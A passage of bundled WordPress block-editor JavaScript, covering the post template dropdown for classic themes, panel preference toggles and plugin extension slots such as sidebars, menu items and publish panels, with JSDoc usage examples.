    const post = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', postType, postId);
    return post?.template;
  }, [postType, postId]);
  if (!entityTemplate) {
    return;
  }
  // If a page has a `template` set and is not included in the list
  // of the theme's templates, do not return it, in order to resolve
  // to the current theme's default template.
  return templates?.find(template => template.slug === entityTemplate)?.slug;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-template/classic-theme.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */





function PostTemplateToggle({
  isOpen,
  onClick
}) {
  const templateTitle = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const templateSlug = select(store_store).getEditedPostAttribute('template');
    const {
      supportsTemplateMode,
      availableTemplates
    } = select(store_store).getEditorSettings();
    if (!supportsTemplateMode && availableTemplates[templateSlug]) {
      return availableTemplates[templateSlug];
    }
    const template = select(external_wp_coreData_namespaceObject.store).canUser('create', {
      kind: 'postType',
      name: 'wp_template'
    }) && select(store_store).getCurrentTemplateId();
    return template?.title || template?.slug || availableTemplates?.[templateSlug];
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    variant: "tertiary",
    "aria-expanded": isOpen,
    "aria-label": (0,external_wp_i18n_namespaceObject.__)('Template options'),
    onClick: onClick,
    children: templateTitle !== null && templateTitle !== void 0 ? templateTitle : (0,external_wp_i18n_namespaceObject.__)('Default template')
  });
}

/**
 * Renders the dropdown content for selecting a post template.
 *
 * @param {Object}   props         The component props.
 * @param {Function} props.onClose The function to close the dropdown.
 *
 * @return {React.ReactNode} The rendered dropdown content.
 */
function PostTemplateDropdownContent({
  onClose
}) {
  var _options$find, _selectedOption$value;
  const allowSwitchingTemplate = useAllowSwitchingTemplates();
  const {
    availableTemplates,
    fetchedTemplates,
    selectedTemplateSlug,
    canCreate,
    canEdit,
    currentTemplateId,
    onNavigateToEntityRecord,
    getEditorSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser,
      getEntityRecords
    } = select(external_wp_coreData_namespaceObject.store);
    const editorSettings = select(store_store).getEditorSettings();
    const canCreateTemplates = canUser('create', {
      kind: 'postType',
      name: 'wp_template'
    });
    const _currentTemplateId = select(store_store).getCurrentTemplateId();
    return {
      availableTemplates: editorSettings.availableTemplates,
      fetchedTemplates: canCreateTemplates ? getEntityRecords('postType', 'wp_template', {
        post_type: select(store_store).getCurrentPostType(),
        per_page: -1
      }) : undefined,
      selectedTemplateSlug: select(store_store).getEditedPostAttribute('template'),
      canCreate: allowSwitchingTemplate && canCreateTemplates && editorSettings.supportsTemplateMode,
      canEdit: allowSwitchingTemplate && canCreateTemplates && editorSettings.supportsTemplateMode && !!_currentTemplateId,
      currentTemplateId: _currentTemplateId,
      onNavigateToEntityRecord: editorSettings.onNavigateToEntityRecord,
      getEditorSettings: select(store_store).getEditorSettings
    };
  }, [allowSwitchingTemplate]);
  const options = (0,external_wp_element_namespaceObject.useMemo)(() => Object.entries({
    ...availableTemplates,
    ...Object.fromEntries((fetchedTemplates !== null && fetchedTemplates !== void 0 ? fetchedTemplates : []).map(({
      slug,
      title
    }) => [slug, title.rendered]))
  }).map(([slug, title]) => ({
    value: slug,
    label: title
  })), [availableTemplates, fetchedTemplates]);
  const selectedOption = (_options$find = options.find(option => option.value === selectedTemplateSlug)) !== null && _options$find !== void 0 ? _options$find : options.find(option => !option.value); // The default option has '' value.

  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    createSuccessNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const [isCreateModalOpen, setIsCreateModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-template__classic-theme-dropdown",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
      title: (0,external_wp_i18n_namespaceObject.__)('Template'),
      help: (0,external_wp_i18n_namespaceObject.__)('Templates define the way content is displayed when viewing your site.'),
      actions: canCreate ? [{
        icon: add_template,
        label: (0,external_wp_i18n_namespaceObject.__)('Add template'),
        onClick: () => setIsCreateModalOpen(true)
      }] : [],
      onClose: onClose
    }), !allowSwitchingTemplate ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
      status: "warning",
      isDismissible: false,
      children: (0,external_wp_i18n_namespaceObject.__)('The posts page template cannot be changed.')
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
      __next40pxDefaultSize: true,
      __nextHasNoMarginBottom: true,
      hideLabelFromVision: true,
      label: (0,external_wp_i18n_namespaceObject.__)('Template'),
      value: (_selectedOption$value = selectedOption?.value) !== null && _selectedOption$value !== void 0 ? _selectedOption$value : '',
      options: options,
      onChange: slug => editPost({
        template: slug || ''
      })
    }), canEdit && onNavigateToEntityRecord && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "link",
        onClick: () => {
          onNavigateToEntityRecord({
            postId: currentTemplateId,
            postType: 'wp_template'
          });
          onClose();
          createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Editing template. Changes made here affect all posts and pages that use the template.'), {
            type: 'snackbar',
            actions: [{
              label: (0,external_wp_i18n_namespaceObject.__)('Go back'),
              onClick: () => getEditorSettings().onNavigateToPreviousEntityRecord()
            }]
          });
        },
        children: (0,external_wp_i18n_namespaceObject.__)('Edit template')
      })
    }), isCreateModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CreateNewTemplateModal, {
      onClose: () => setIsCreateModalOpen(false)
    })]
  });
}
function ClassicThemeControl() {
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    className: 'editor-post-template__dropdown',
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Template'),
    ref: setPopoverAnchor,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: popoverProps,
      focusOnMount: true,
      renderToggle: ({
        isOpen,
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTemplateToggle, {
        isOpen: isOpen,
        onClick: onToggle
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTemplateDropdownContent, {
        onClose: onClose
      })
    })
  });
}

/**
 * Provides a dropdown menu for selecting and managing post templates.
 *
 * The dropdown menu includes a button for toggling the menu, a list of available templates, and options for creating and editing templates.
 *
 * @return {React.ReactNode} The rendered ClassicThemeControl component.
 */
/* harmony default export */ const classic_theme = (ClassicThemeControl);

;// external ["wp","warning"]
const external_wp_warning_namespaceObject = window["wp"]["warning"];
var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject);
;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-panel.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const {
  PreferenceBaseOption
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function EnablePanelOption(props) {
  const {
    toggleEditorPanelEnabled
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    isChecked,
    isRemoved
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelEnabled,
      isEditorPanelRemoved
    } = select(store_store);
    return {
      isChecked: isEditorPanelEnabled(props.panelName),
      isRemoved: isEditorPanelRemoved(props.panelName)
    };
  }, [props.panelName]);
  if (isRemoved) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceBaseOption, {
    isChecked: isChecked,
    onChange: () => toggleEditorPanelEnabled(props.panelName),
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-plugin-document-setting-panel.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const {
  Fill,
  Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('EnablePluginDocumentSettingPanelOption');
const EnablePluginDocumentSettingPanelOption = ({
  label,
  panelName
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, {
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
    label: label,
    panelName: panelName
  })
});
EnablePluginDocumentSettingPanelOption.Slot = Slot;
/* harmony default export */ const enable_plugin_document_setting_panel = (EnablePluginDocumentSettingPanelOption);

;// ./node_modules/@wordpress/editor/build-module/components/plugin-document-setting-panel/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  Fill: plugin_document_setting_panel_Fill,
  Slot: plugin_document_setting_panel_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginDocumentSettingPanel');

/**
 * Renders items below the Status & Availability panel in the Document Sidebar.
 *
 * @param {Object}                props                                 Component properties.
 * @param {string}                props.name                            Required. A machine-friendly name for the panel.
 * @param {string}                [props.className]                     An optional class name added to the row.
 * @param {string}                [props.title]                         The title of the panel
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element, to be rendered when the sidebar is pinned to toolbar.
 * @param {React.ReactNode}       props.children                        Children to be rendered
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var el = React.createElement;
 * var __ = wp.i18n.__;
 * var registerPlugin = wp.plugins.registerPlugin;
 * var PluginDocumentSettingPanel = wp.editor.PluginDocumentSettingPanel;
 *
 * function MyDocumentSettingPlugin() {
 * 	return el(
 * 		PluginDocumentSettingPanel,
 * 		{
 * 			className: 'my-document-setting-plugin',
 * 			title: 'My Panel',
 * 			name: 'my-panel',
 * 		},
 * 		__( 'My Document Setting Panel' )
 * 	);
 * }
 *
 * registerPlugin( 'my-document-setting-plugin', {
 * 		render: MyDocumentSettingPlugin
 * } );
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { registerPlugin } from '@wordpress/plugins';
 * import { PluginDocumentSettingPanel } from '@wordpress/editor';
 *
 * const MyDocumentSettingTest = () => (
 * 		<PluginDocumentSettingPanel className="my-document-setting-plugin" title="My Panel" name="my-panel">
 *			<p>My Document Setting Panel</p>
 *		</PluginDocumentSettingPanel>
 *	);
 *
 *  registerPlugin( 'document-setting-test', { render: MyDocumentSettingTest } );
 * ```
 *
 * @return {React.ReactNode} The component to be rendered.
 */
const PluginDocumentSettingPanel = ({
  name,
  className,
  title,
  icon,
  children
}) => {
  const {
    name: pluginName
  } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  const panelName = `${pluginName}/${name}`;
  const {
    opened,
    isEnabled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelOpened,
      isEditorPanelEnabled
    } = select(store_store);
    return {
      opened: isEditorPanelOpened(panelName),
      isEnabled: isEditorPanelEnabled(panelName)
    };
  }, [panelName]);
  const {
    toggleEditorPanelOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  if (undefined === name) {
     true ? external_wp_warning_default()('PluginDocumentSettingPanel requires a name property.') : 0;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(enable_plugin_document_setting_panel, {
      label: title,
      panelName: panelName
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_document_setting_panel_Fill, {
      children: isEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
        className: className,
        title: title,
        icon: icon,
        opened: opened,
        onToggle: () => toggleEditorPanelOpened(panelName),
        children: children
      })
    })]
  });
};
PluginDocumentSettingPanel.Slot = plugin_document_setting_panel_Slot;
/* harmony default export */ const plugin_document_setting_panel = (PluginDocumentSettingPanel);

;// ./node_modules/@wordpress/editor/build-module/components/block-settings-menu/plugin-block-settings-menu-item.js
/**
 * WordPress dependencies
 */




const isEverySelectedBlockAllowed = (selected, allowed) => selected.filter(id => !allowed.includes(id)).length === 0;

/**
 * Plugins may want to add an item to the menu either for every block
 * or only for the specific ones provided in the `allowedBlocks` component property.
 *
 * If there are multiple blocks selected the item will be rendered if every block
 * is of one allowed type (not necessarily the same).
 *
 * @param {string[]} selectedBlocks Array containing the names of the blocks selected
 * @param {string[]} allowedBlocks  Array containing the names of the blocks allowed
 * @return {boolean} Whether the item will be rendered or not.
 */
const shouldRenderItem = (selectedBlocks, allowedBlocks) => !Array.isArray(allowedBlocks) || isEverySelectedBlockAllowed(selectedBlocks, allowedBlocks);

/**
 * Renders a new item in the block settings menu.
 *
 * @param {Object}                props                 Component props.
 * @param {Array}                 [props.allowedBlocks] An array containing a list of block names for which the item should be shown. If not present, it'll be rendered for any block. If multiple blocks are selected, it'll be shown if and only if all of them are in the allowed list.
 * @param {WPBlockTypeIconRender} [props.icon]          The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element.
 * @param {string}                props.label           The menu item text.
 * @param {Function}              props.onClick         Callback function to be executed when the user click the menu item.
 * @param {boolean}               [props.small]         Whether to render the label or not.
 * @param {string}                [props.role]          The ARIA role for the menu item.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var PluginBlockSettingsMenuItem = wp.editor.PluginBlockSettingsMenuItem;
 *
 * function doOnClick(){
 * 	// To be called when the user clicks the menu item.
 * }
 *
 * function MyPluginBlockSettingsMenuItem() {
 * 	return React.createElement(
 * 		PluginBlockSettingsMenuItem,
 * 		{
 * 			allowedBlocks: [ 'core/paragraph' ],
 * 			icon: 'dashicon-name',
 * 			label: __( 'Menu item text' ),
 * 			onClick: doOnClick,
 * 		}
 * 	);
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginBlockSettingsMenuItem } from '@wordpress/editor';
 *
 * const doOnClick = ( ) => {
 *     // To be called when the user clicks the menu item.
 * };
 *
 * const MyPluginBlockSettingsMenuItem = () => (
 *     <PluginBlockSettingsMenuItem
 * 		allowedBlocks={ [ 'core/paragraph' ] }
 * 		icon='dashicon-name'
 * 		label={ __( 'Menu item text' ) }
 * 		onClick={ doOnClick } />
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */
const PluginBlockSettingsMenuItem = ({
  allowedBlocks,
  icon,
  label,
  onClick,
  small,
  role
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, {
  children: ({
    selectedBlocks,
    onClose
  }) => {
    if (!shouldRenderItem(selectedBlocks, allowedBlocks)) {
      return null;
    }
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      onClick: (0,external_wp_compose_namespaceObject.compose)(onClick, onClose),
      icon: icon,
      label: small ? label : undefined,
      role: role,
      children: !small && label
    });
  }
});
/* harmony default export */ const plugin_block_settings_menu_item = (PluginBlockSettingsMenuItem);

;// ./node_modules/@wordpress/editor/build-module/components/plugin-more-menu-item/index.js
/**
 * WordPress dependencies
 */




/**
 * Renders a menu item in `Plugins` group in `More Menu` drop down, and can be used to as a button or link depending on the props provided.
 * The text within the component appears as the menu item label.
 *
 * @param {Object}                props                                 Component properties.
 * @param {React.ReactNode}       [props.children]                      Children to be rendered.
 * @param {string}                [props.href]                          When `href` is provided then the menu item is represented as an anchor rather than button. It corresponds to the `href` attribute of the anchor.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element, to be rendered to the left of the menu item label.
 * @param {Function}              [props.onClick=noop]                  The callback function to be executed when the user clicks the menu item.
 * @param {...*}                  [props.other]                         Any additional props are passed through to the underlying [Button](/packages/components/src/button/README.md) component.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var PluginMoreMenuItem = wp.editor.PluginMoreMenuItem;
 * var moreIcon = wp.element.createElement( 'svg' ); //... svg element.
 *
 * function onButtonClick() {
 * 	alert( 'Button clicked.' );
 * }
 *
 * function MyButtonMoreMenuItem() {
 * 	return wp.element.createElement(
 * 		PluginMoreMenuItem,
 * 		{
 * 			icon: moreIcon,
 * 			onClick: onButtonClick,
 * 		},
 * 		__( 'My button title' )
 * 	);
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginMoreMenuItem } from '@wordpress/editor';
 * import { more } from '@wordpress/icons';
 *
 * function onButtonClick() {
 * 	alert( 'Button clicked.' );
 * }
 *
 * const MyButtonMoreMenuItem = () => (
 * 	<PluginMoreMenuItem
 * 		icon={ more }
 * 		onClick={ onButtonClick }
 * 	>
 * 		{ __( 'My button title' ) }
 * 	</PluginMoreMenuItem>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */

function PluginMoreMenuItem(props) {
  var _props$as;
  const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item, {
    name: "core/plugin-more-menu",
    as: (_props$as = props.as) !== null && _props$as !== void 0 ? _props$as : external_wp_components_namespaceObject.MenuItem,
    icon: props.icon || context.icon,
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/plugin-post-publish-panel/index.js
/**
 * WordPress dependencies
 */



const {
  Fill: plugin_post_publish_panel_Fill,
  Slot: plugin_post_publish_panel_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginPostPublishPanel');

/**
 * Renders provided content to the post-publish panel in the publish flow
 * (side panel that opens after a user publishes the post).
 *
 * @param {Object}                props                                 Component properties.
 * @param {string}                [props.className]                     An optional class name added to the panel.
 * @param {string}                [props.title]                         Title displayed at the top of the panel.
 * @param {boolean}               [props.initialOpen=false]             Whether to have the panel initially opened. When no title is provided it is always opened.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element, to be rendered when the sidebar is pinned to toolbar.
 * @param {React.ReactNode}       props.children                        Children to be rendered
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginPostPublishPanel } from '@wordpress/editor';
 *
 * const MyPluginPostPublishPanel = () => (
 * 	<PluginPostPublishPanel
 * 		className="my-plugin-post-publish-panel"
 * 		title={ __( 'My panel title' ) }
 * 		initialOpen={ true }
 * 	>
 *         { __( 'My panel content' ) }
 * 	</PluginPostPublishPanel>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */
const PluginPostPublishPanel = ({
  children,
  className,
  title,
  initialOpen = false,
  icon
}) => {
  const {
    icon: pluginIcon
  } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_publish_panel_Fill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
      className: className,
      initialOpen: initialOpen || !title,
      title: title,
      icon: icon !== null && icon !== void 0 ? icon : pluginIcon,
      children: children
    })
  });
};
PluginPostPublishPanel.Slot = plugin_post_publish_panel_Slot;
/* harmony default export */ const plugin_post_publish_panel = (PluginPostPublishPanel);

;// ./node_modules/@wordpress/editor/build-module/components/plugin-post-status-info/index.js
/**
 * Defines as extensibility slot for the Summary panel.
 */

/**
 * WordPress dependencies
 */


const {
  Fill: plugin_post_status_info_Fill,
  Slot: plugin_post_status_info_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginPostStatusInfo');

/**
 * Renders a row in the Summary panel of the Document sidebar.
 * It should be noted that this is named and implemented around the function it serves
 * and not its location, which may change in future iterations.
 *
 * @param {Object}          props             Component properties.
 * @param {string}          [props.className] An optional class name added to the row.
 * @param {React.ReactNode} props.children    Children to be rendered.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var PluginPostStatusInfo = wp.editor.PluginPostStatusInfo;
 *
 * function MyPluginPostStatusInfo() {
 * 	return React.createElement(
 * 		PluginPostStatusInfo,
 * 		{
 * 			className: 'my-plugin-post-status-info',
 * 		},
 * 		__( 'My post status info' )
 * 	)
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginPostStatusInfo } from '@wordpress/editor';
 *
 * const MyPluginPostStatusInfo = () => (
 * 	<PluginPostStatusInfo
 * 		className="my-plugin-post-status-info"
 * 	>
 * 		{ __( 'My post status info' ) }
 * 	</PluginPostStatusInfo>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */
const PluginPostStatusInfo = ({
  children,
  className
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_post_status_info_Fill, {
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelRow, {
    className: className,
    children: children
  })
});
PluginPostStatusInfo.Slot = plugin_post_status_info_Slot;
/* harmony default export */ const plugin_post_status_info = (PluginPostStatusInfo);

;// ./node_modules/@wordpress/editor/build-module/components/plugin-pre-publish-panel/index.js
/**
 * WordPress dependencies
 */



const {
  Fill: plugin_pre_publish_panel_Fill,
  Slot: plugin_pre_publish_panel_Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginPrePublishPanel');

/**
 * Renders provided content to the pre-publish side panel in the publish flow
 * (side panel that opens when a user first pushes "Publish" from the main editor).
 *
 * @param {Object}                props                                 Component props.
 * @param {string}                [props.className]                     An optional class name added to the panel.
 * @param {string}                [props.title]                         Title displayed at the top of the panel.
 * @param {boolean}               [props.initialOpen=false]             Whether to have the panel initially opened.
 *                                                                      When no title is provided it is always opened.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/)
 *                                                                      icon slug string, or an SVG WP element, to be rendered when
 *                                                                      the sidebar is pinned to toolbar.
 * @param {React.ReactNode}       props.children                        Children to be rendered
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PluginPrePublishPanel } from '@wordpress/editor';
 *
 * const MyPluginPrePublishPanel = () => (
 * 	<PluginPrePublishPanel
 * 		className="my-plugin-pre-publish-panel"
 * 		title={ __( 'My panel title' ) }
 * 		initialOpen={ true }
 * 	>
 * 	    { __( 'My panel content' ) }
 * 	</PluginPrePublishPanel>
 * );
 * ```
 *
 * @return {React.ReactNode} The rendered component.
 */
const PluginPrePublishPanel = ({
  children,
  className,
  title,
  initialOpen = false,
  icon
}) => {
  const {
    icon: pluginIcon
  } = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_pre_publish_panel_Fill, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
      className: className,
      initialOpen: initialOpen || !title,
      title: title,
      icon: icon !== null && icon !== void 0 ? icon : pluginIcon,
      children: children
    })
  });
};
PluginPrePublishPanel.Slot = plugin_pre_publish_panel_Slot;
/* harmony default export */ const plugin_pre_publish_panel = (PluginPrePublishPanel);

;// ./node_modules/@wordpress/editor/build-module/components/plugin-preview-menu-item/index.js
/**
 * WordPress dependencies
 */




/**
 * Renders a menu item in the Preview dropdown, which can be used as a button or link depending on the props provided.
 * The text within the component appears as the menu item label.
 *
 * @param {Object}                props                                 Component properties.
 * @param {React.ReactNode}       [props.children]                      Children to be rendered.
 * @param {string}                [props.href]                          When `href` is provided, the menu item is rendered as an anchor instead of a button. It corresponds to the `href` attribute of the anchor.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The icon to be rendered to the left of the menu item label. Can be a Dashicon slug or an SVG WP element.
 * @param {Function}              [props.onClick]                       The callback function to be executed when the user clicks the menu item.
 * @param {...*}                  [props.other]                         Any additional props are passed through to the underlying MenuItem component.
 *
 * @example
 * ```jsx
 * import { __ } from '@wordpress/i18n';
 * import { PluginPreviewMenuItem } from '@wordpress/editor';
 * import { external } from '@wordpress/icons';
 *
 * function onPreviewClick() {
 *   // Handle preview action
 * }
 *
 * const ExternalPreviewMenuItem = () => (
 *   <PluginPreviewMenuItem
 *     icon={ external }
 *     onClick={ onPreviewClick }
 *   >
 *     { __( 'Preview in new tab' ) }
 *   </PluginPreviewMenuItem>
 * );
 * registerPlugin( 'external-preview-menu-item', {
 *     render: ExternalPreviewMenuItem,
 * } );
 * ```
 *
 * @return {React.ReactNode} The rendered menu item component.
 */

function PluginPreviewMenuItem(props) {
  var _props$as;
  const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action_item, {
    name: "core/plugin-preview-menu",
    as: (_props$as = props.as) !== null && _props$as !== void 0 ? _props$as : external_wp_components_namespaceObject.MenuItem,
    icon: props.icon || context.icon,
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/plugin-sidebar/index.js
/**
 * WordPress dependencies
 */


/**
 * Renders a sidebar when activated. The contents within the `PluginSidebar` will appear as content within the sidebar.
 * It also automatically renders a corresponding `PluginSidebarMenuItem` component when `isPinnable` flag is set to `true`.
 * If you wish to display the sidebar, you can with use the `PluginSidebarMoreMenuItem` component or the `wp.data.dispatch` API:
 *
 * ```js
 * wp.data.dispatch( 'core/edit-post' ).openGeneralSidebar( 'plugin-name/sidebar-name' );
 * ```
 *
 * @see PluginSidebarMoreMenuItem
 *
 * @param {Object}                props                                 Element props.
 * @param {string}                props.name                            A string identifying the sidebar. Must be unique for every sidebar registered within the scope of your plugin.
 * @param {React.ReactNode}       [props.children]                      Children to be rendered.
 * @param {string}                [props.className]                     An optional class name added to the sidebar body.
 * @param {string}                props.title                           Title displayed at the top of the sidebar.
 * @param {boolean}               [props.isPinnable=true]               Whether to allow to pin sidebar to the toolbar. When set to `true` it also automatically renders a corresponding menu item.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element, to be rendered when the sidebar is pinned to toolbar.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var el = React.createElement;
 * var PanelBody = wp.components.PanelBody;
 * var PluginSidebar = wp.editor.PluginSidebar;
 * var moreIcon = React.createElement( 'svg' ); //... svg element.
 *
 * function MyPluginSidebar() {
 * 	return el(
 * 			PluginSidebar,
 * 			{
 * 				name: 'my-sidebar',
 * 				title: 'My sidebar title',
 * 				icon: moreIcon,
 * 			},
 * 			el(
 * 				PanelBody,
 * 				{},
 * 				__( 'My sidebar content' )
 * 			)
 * 	);
 * }
 * ```
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { __ } from '@wordpress/i18n';
 * import { PanelBody } from '@wordpress/components';
 * import { PluginSidebar } from '@wordpress/editor';
 * import { more } from '@wordpress/icons';
 *
 * const MyPluginSidebar = () => (
 * 	<PluginSidebar
 * 		name="my-sidebar"
 * 		title="My sidebar title"
 * 		icon={ more }
 * 	>
 * 		<PanelBody>
 * 			{ __( 'My sidebar content' ) }
 * 		</PanelBody>
 * 	</PluginSidebar>
 * );
 * ```
 */

function PluginSidebar({
  className,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area, {
    panelClassName: className,
    className: "editor-sidebar",
    scope: "core",
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/plugin-sidebar-more-menu-item/index.js
/**
 * WordPress dependencies
 */


/**
 * Renders a menu item in `Plugins` group in `More Menu` drop down,
 * and can be used to activate the corresponding `PluginSidebar` component.
 * The text within the component appears as the menu item label.
 *
 * @param {Object}                props                                 Component props.
 * @param {string}                props.target                          A string identifying the target sidebar you wish to be activated by this menu item. Must be the same as the `name` prop you have given to that sidebar.
 * @param {React.ReactNode}       [props.children]                      Children to be rendered.
 * @param {WPBlockTypeIconRender} [props.icon=inherits from the plugin] The [Dashicon](https://developer.wordpress.org/resource/dashicons/) icon slug string, or an SVG WP element, to be rendered to the left of the menu item label.
 *
 * @example
 * ```js
 * // Using ES5 syntax
 * var __ = wp.i18n.__;
 * var PluginSidebarMoreMenuItem = wp.editor.PluginSidebarMoreMenuItem;
 * var moreIcon = React.createElement( 'svg' ); //... svg element.
 *
 * function MySidebarMoreMenuItem() {
 * 	return React.createElement(
